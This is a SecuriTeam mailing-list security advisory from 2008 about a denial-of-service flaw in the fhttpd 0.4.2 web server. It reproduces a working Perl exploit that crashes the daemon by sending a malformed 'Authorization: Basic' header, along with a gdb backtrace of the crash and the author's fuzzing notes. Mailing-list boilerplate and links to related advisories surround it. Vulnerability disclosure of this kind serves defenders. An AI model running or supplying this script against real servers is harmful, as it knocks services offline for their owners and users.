[EXPL]fhttpd Malformed Authorization Denial of Service



The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



fhttpd Malformed Authorization Denial of Service
------------------------------------------------------------------------


SUMMARY

<http://www.fhttpd.org/www/info.html> fhttpd an HTTP daemon - "a program,
which allows users from other machines on the Internet to access some
information, stored on server machine in the form of text, pictures,
sounds, hypertext documents, binary files and to run some programs on the
server. To access that information users use some HTTP client, such as
Netscape, Mosaic, Lynx, etc. If you are reading this on the fhttpd
distribution site, you are using some HTTP client already". A
vulnerability in fhttpd allows remote attackers to cause the product to
crash by sending it a malformed Authorization request.

DETAILS

Vulnerable Systems:
* fhttpd version 0.4.2

Exploit:
#!/usr/bin/perl
#Jeremy Brown [0xjbrown41@xxxxxxxxx/http://jbrownsec.blogspot.com]

#http://www.fhttpd.org / fhttpd-0.4.2.tar.gz (WARNING: VERY OLD)
#Program received signal SIGSEGV, Segmentation fault.
#0x0804b42d in un64 (s=0x809b2d2 "") at util.cc:69

#69 if(c2!=-2) c3=rptr[3]; else c3=-2;
#(gdb) bt
#0 0x0804b42d in un64 (s=0x809b2d2 "") at util.cc:69
#1 0x080672bf in ControlFTPServerApp::process_get_line (this=0x8089678,
#fhttpd.cc:2044

#3 0x08060190 in Wheel::onepass (this=0x8081338) at sockobj.cc:1953
#4 0x08073c14 in main (argc=1, argv=0xbffff464, env=0xbffff46c) at
fhttpd.cc:3645
#One of the near useless bugs found by my fuzzer with http fuzz
capabilities

# Crashes with { } | [ ] \ ; : ' " < > ? , . OR with just a space after
Basic:

use IO::Socket;

if(@ARGV < 1)
{

print "\nUsage: host\n\n";
exit(1);

}

$host = $ARGV[0];
$port = 80;

$sock = IO::Socket::INET->new(Proto=>"tcp", PeerHost=>$host,
PeerPort=>$port)
or die "\nError: socket\n\n";

print $sock "HEAD / HTTP/1.1\r\nAuthorization: Basic |\r\n\r\n";
close($sock);

# milw0rm.com [2008-09-19]


ADDITIONAL INFORMATION

The information has been provided by <mailto:0xjbrown41@xxxxxxxxx> Jeremy
Brown.
The original article can be found at:
<http://www.milw0rm.com/exploits/6493>
http://www.milw0rm.com/exploits/6493



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • [NT] Cross Application Scripting in Trend Micros Antivirus Software
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... The SecuriTeam alerts list - Free, Accurate, Independent. ... When the product alerts the user of a possible virus, it creates an HTML ...
    (Securiteam)
  • [NT] Microsoft Windows NTFS Improper Handler Closing
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... from a system shutdown, uninitialized data may be visible in files from ...
    (Securiteam)
  • [TOOL] tcpstatflow - Covert Tunnel Detector
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... For example, he could set up a SSH server on the Internet, listening port ... one way and the opposite (within a single TCP connection). ...
    (Securiteam)
  • [EXPL] Eudora Attachment Spoof Exploit Revisited
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... present in the newest release of Eudora. ... Can be exploited if there is more than one way into attach: in my setup ...
    (Securiteam)
  • [UNIX] Phorum SQL Injection (userlogin.php)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... An SQL injection vulnerability exists in the 'userlogin.php' script. ... the MD5 hash of the user one character at a time. ...
    (Securiteam)